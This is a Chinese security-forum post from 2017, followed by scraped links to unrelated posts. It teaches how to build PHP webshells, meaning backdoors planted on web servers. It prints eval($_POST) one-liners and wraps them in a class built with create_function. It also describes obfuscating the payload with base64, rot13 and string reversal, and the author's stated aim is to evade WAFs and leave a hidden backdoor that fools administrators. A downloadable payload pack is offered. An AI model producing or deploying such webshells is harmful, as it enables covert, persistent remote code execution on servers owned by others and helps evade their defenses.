php 热门方向,精华篇之webshell在php方向的研究
本帖最后由 xoanHn 于 2017-11-6 11:02 编辑
精华篇webshell在php方向的研究·不要错过篇
本文原创作者:原名xoanHn),个人站点:www.laimooc.cn。
本文属i春秋原创奖励计划,未经许可禁止转载
文章主旨:准备学习c语言,你喜欢的所有干货在文末附件里
作者宗旨:没有不想当将军的兵,没有不想提高技术的person,今天带你打开php的研究之路。
前几篇帖子:
timg.jpg (151.99 KB, 下载次数: 48)
2017-11-5 18:17 上传
本来打算写一个综合性的PHP脚本文件(修改文件内容、复制文件、删除文件、创建文件、目录遍历等;执行系统命令;文件的上传;文件内容的加解密或者编解码;增删改查数据库;劫持登陆表单等一些操作)。发现这个需要花费很多的时间来调试,况且这些模块的分割拆解网上已经有了一些,所以,就到此为止。
本次发表文章,主要是围绕:类的封装、构造函数以及perl-Class常量的使用、编码解码等,来与常规的结合,进行制作webshell。
最基础的webshell,莫过于:
[AppleScript] 纯文本查看 复制代码【php eval($_POST[‘0’]);】,或者还有最短的吧
【eval($_POST[1]);】
。
那么我研究的初衷:1、是因为最短的一句话,会被很多的waf等直接拦截2、我想留下比较隐蔽并且容易忽悠管理员的后门3、我想锻炼一下自己的php掌握与使用能力4、为了给我们的开发团队督导一下安全编程思想。
最基础的类 :
[AppleScript] 纯文本查看 复制代码Class classname
{
}
深入一点那么就是如下:
[AppleScript] 纯文本查看 复制代码Class classname
{
Function operation(){ }
}
实例化:
$a = new classname();
$a -> operation();
嗯,是的就是如此,很常见的类。
timg.jpg (116.25 KB, 下载次数: 58)
2017-11-5 18:19 上传
看看perl-class呢:
[AppleScript] 纯文本查看 复制代码class math{
const pi = 3.14159;
}
echo math::pi. "\n";
就是上面如此,::操作符来访问perl-clas常量。我们调试一下perl-class试试看:
image001.png (28.93 KB, 下载次数: 75)
2017-11-5 17:10 上传
神奇吧,我也这么觉得,php真的很让我开心Ilove her !
那么我们现在用perlclass,来做一个webshell试试看呗:
[AppleScript] 纯文本查看 复制代码<?php
error_reporting(0);
//perl-Class 思想
class math{
const pi = 3.14159;
}
echo "Math::pi=" .math::pi. "\n";
const pi 这是我们的perl-class常量,在class中声明,然后类外::操作符进行常量引用。那么我们先修改pi为base64_decode,你感觉会实现吗,会不会因为是字符串然后error呢,不用怕,走起来看看吧,咱们有万能的echo:
image003.png (30.31 KB, 下载次数: 71)
2017-11-5 17:10 上传
使用试试看,其实学习吧,就是不要拘束,我的引路人给了很大的鼓励,是我的榜样:
image005.png (30.74 KB, 下载次数: 70)
2017-11-5 17:10 上传
在使用这个编码的时候,我心里在想也可以使用url编码、者rot13编码、反转、字符串拼接、字符串的拆分利用(如:explode)、字符串的查找替换(如:substr)、quoted-printable字符串转换利用等等,更多的请参考:http://php.net/ref.strings如下,自己在这块调试的一个一句话:
perl.png (45.13 KB, 下载次数: 46)
2017-11-6 11:54 上传
下面我们来讲解一下,类的封装来制作一句话:
先来一个成品如下图示,点击我,显示源码:
image007.png (132.87 KB, 下载次数: 58)
2017-11-5 17:10 上传
对不起,再点击,也显示不了源码。
前面我们说过了类的原型,那么下面我们试试:
[AppleScript] 纯文本查看 复制代码class a{
function create_fun($data)
{
$post= create_function('', $data);
$post();
}
}
我们外部类,内部调用了动态创建函数,来为下一步的webshell做铺垫,然后我们来实例化吧:
$a = new a();
这句就是实例化,简答吧,要记住了new 来实例化的,那么我们下面来引用,前面我们在类的内部定义了一个create_fun ,我们在这里使用它即可,如下,
$a ->create_fun($shell);
那么到这里了,是不是还少个东西,看出来了大伙,参数噻,下面我们简单的定义参数呗:直接一句话,哈哈,简单暴力。
$shell ="eval($_POST[c]);";
那么现在整理就完成了,类的封装来实现一句话的,测试看看:
image009.png (45.73 KB, 下载次数: 47)
2017-11-5 17:10 上传
执行命令是可以的。就是这样吧。
image011.png (83.14 KB, 下载次数: 47)
2017-11-5 17:10 上传
可以看到我们的phpinfo() 也是可以的。
image013.gif (935.71 KB, 下载次数: 80)
2017-11-5 17:10 上传
最后,说一说,如何结合构造函数来生成一句话的,其实如果善于调试的话,我们的研究到这里应该已经结束了。
但是为了多讲几句,我还是留下了,先演示一下,如何反转字符串,这点让我感觉php神奇的一匹马:
[AppleScript] 纯文本查看 复制代码function reverse_chr($str){
for($i=1;$i<=strlen($str);$i++){
$strr= substr($str,-$i,1);
echo $strr;
}
return;
}
这段足够代码实现,哈哈哈,其实还可以更见简短一些一个单词的事情:strrev ,这个函数你别看小,它的威力很强大,自行联想。
image014.gif (455.87 KB, 下载次数: 101)
2017-11-5 17:10 上传
这个反转函数,怎么用,一句话:慢慢来,多使用,大佬们传授的经验。授之以鱼,不如授之以渔。你们长大了,成功了,分我们一碗汤喝就可以。
image015.png (27.61 KB, 下载次数: 45)
2017-11-5 17:10 上传
好了吧,不扯了,颈椎痛,大家平时要注意锻炼身体。
下面这张图,我敢保证,让你感到惊喜又兴奋!
image017.png (45.45 KB, 下载次数: 56)
2017-11-5 17:10 上传
最后一次对php在webshell方面的研究到此结束。准备去学习c语言了。
所有的附件我会打包,不再隐藏,表哥表姐们回复一下,举手之劳,thank you very much。
pack.zip
(1.36 KB, 下载次数: 56)
2017-11-5 17:11 上传
点击文件名下载附件
下载积分: 魔法币 -5
timg.jpg (530.27 KB, 下载次数: 50)
2017-11-5 18:20 上传
php 热门方向,精华篇之webshell在php方向的研究相关推荐
- 利弗莫尔的操盘精华篇
[转载]利弗莫尔的操盘精华篇 (2017-02-01 17:27:47) 转载▼ 标签: 转载 分类: 经济 原文地址:利弗莫尔的操盘精华篇作者: 1.先看大盘,大盘不好,不要买入任何股票,只在大 ...
- mysql c语言教程,C语言调用mysql快速教程(精华篇).pdf
C语言调用mysql快速教程(精华篇).pdf ,使用 语言操作 之前,先在 里头创建一个数据库,一个表,在表里头添加 1 c mysql mysql 数据如下: 创建数据库,库名为 cusemysq ...
- 智能车浅谈——方向控制篇
文章目录 前言 自动控制理论 人工控制系统 自动控制 方向控制 典型环节对应 典型环节分析 给定环节与给定量 比较环节与偏差量 控制环节与控制量 执行机构 舵机 PWM技术 舵机中值及限幅 转向控制 ...
- mxgraph进阶 三 Web绘图——mxGraph项目实战 精华篇
Web绘图--mxGraph项目实战(精华篇) 声明 本文部分内容所属论文现已发表,请慎重对待. 需求 由于小论文实验需求,需要实现根据用户日志提取出行为序列,然后根据行为序列生成有向图的形式,并且连 ...
- mxgraph进阶(三)Web绘图——mxGraph项目实战(精华篇)
分享一下我老师大神的人工智能教程!零基础,通俗易懂!http://blog.csdn.net/jiangjunshow 也欢迎大家转载本篇文章.分享知识,造福人民,实现我们中华民族伟大复兴! Web绘 ...
- 专题:设计模式(精华篇)(Yanlz+单一职责+里氏替换+依赖倒置+接口隔离+迪米特+开放封闭+创建类+结构类+行为类+立钻哥哥)
<专题:设计模式(精华篇)> 版本 作者 参与者 完成日期 备注 DesignPatterns_Classics_V01_1.0 严立钻 2018.07.31 ##<专题:设计模式( ...
- alv布局 sap_ALV详解_SAP精华篇.pdf
ALV详解_SAP精华篇.pdf ALV 详解_SAP 精华篇 一.ALV 介绍 The ALV Grid Control (ALV = SAP List Viewer)是一个显示列表的灵活的 工具, ...
- NBT-19年2月刊4篇35分文章聚焦宏基因组研究
新年4篇35分文章聚焦宏基因组研究 Nature Biotechnology (NBT,自然生物技术,IF 35.7)在2019年2月刊(https://www.nature.com/nbt/volu ...
- NBT-新年4篇35分文章聚焦宏基因组研究
文章目录 新年4篇35分文章聚焦宏基因组研究 1. 超高速细菌基因组检索技术 摘要 序列搜索方法 2. 宏基因组中设计全面可扩展探针捕获序列多样性 摘要 CATCH设计探针 3. 1520个人类肠道可 ...
最新文章
- 原创 | 大数据时代,应让“抗疫”更科学
- ios开发时,在Xcode中添加多个targets进行版本控制
- 查看是否由两个单词组成
- 配置Struts2.0
- 【Codeforces 1096D】Easy Problem
- 【数据库】期末考试、考研复试、工作面试总结
- 解析Servlet/JSP会话跟踪机制
- GitChat · 安全 | 揭秘我国的电子取证技术
- DirectX组件之---DirectShow介绍
- 【JAVA】java代码实现print2Flash转swf文件,百度文库一样。
- git常用使用命令个人总结
- python投资_python计算投资
- 笔记本计算机风扇连线,机箱风扇电源怎么接线?机箱风扇接口知识及接法图解教程...
- 金蝶云星空和钉钉接口打通对接实战
- ftp上传工具中文版,有好用的中文版ftp上传工具吗?ftp上传工具中文版
- idea报错Cannot run program tomcat的catalina.bat文件或windows无法找到bat文件
- SpringCloud:统一网关Gateway
- UG NX 12 鼠标操作
- python 阻止锁屏_想要自己的手机锁屏更加安全吗?python带你打造个性的锁屏控件...
- havc是什么意思_什么是AVC编码? 简述H.264概念和发展
热门文章
- 关键是你的心里要有阳光
- 让梦想照进现实-dom事件补充
- nvidia控制面板点了没反应win7_WIN7系统下无法启动NVIDIA控制面板的解决方法
- (附源码)计算机毕业设计ssm共享自习室管理系统
- 钣金机箱外壳的生产加工材料是什么
- 省高企和国家高企有什么不一样吗?
- Docker 架构简介
- 【数学建模】机器学习预测算法(KNN、随机森林、网格搜索对决策树、支持向量机)(Python代码实现)【2021华为杯】
- ​qemu-img 转换:raw、qcow2、qed、vdi、vmdk、vhd虚拟磁盘格式
- 【游戏优化】AOI算法、Unity游戏优化(一)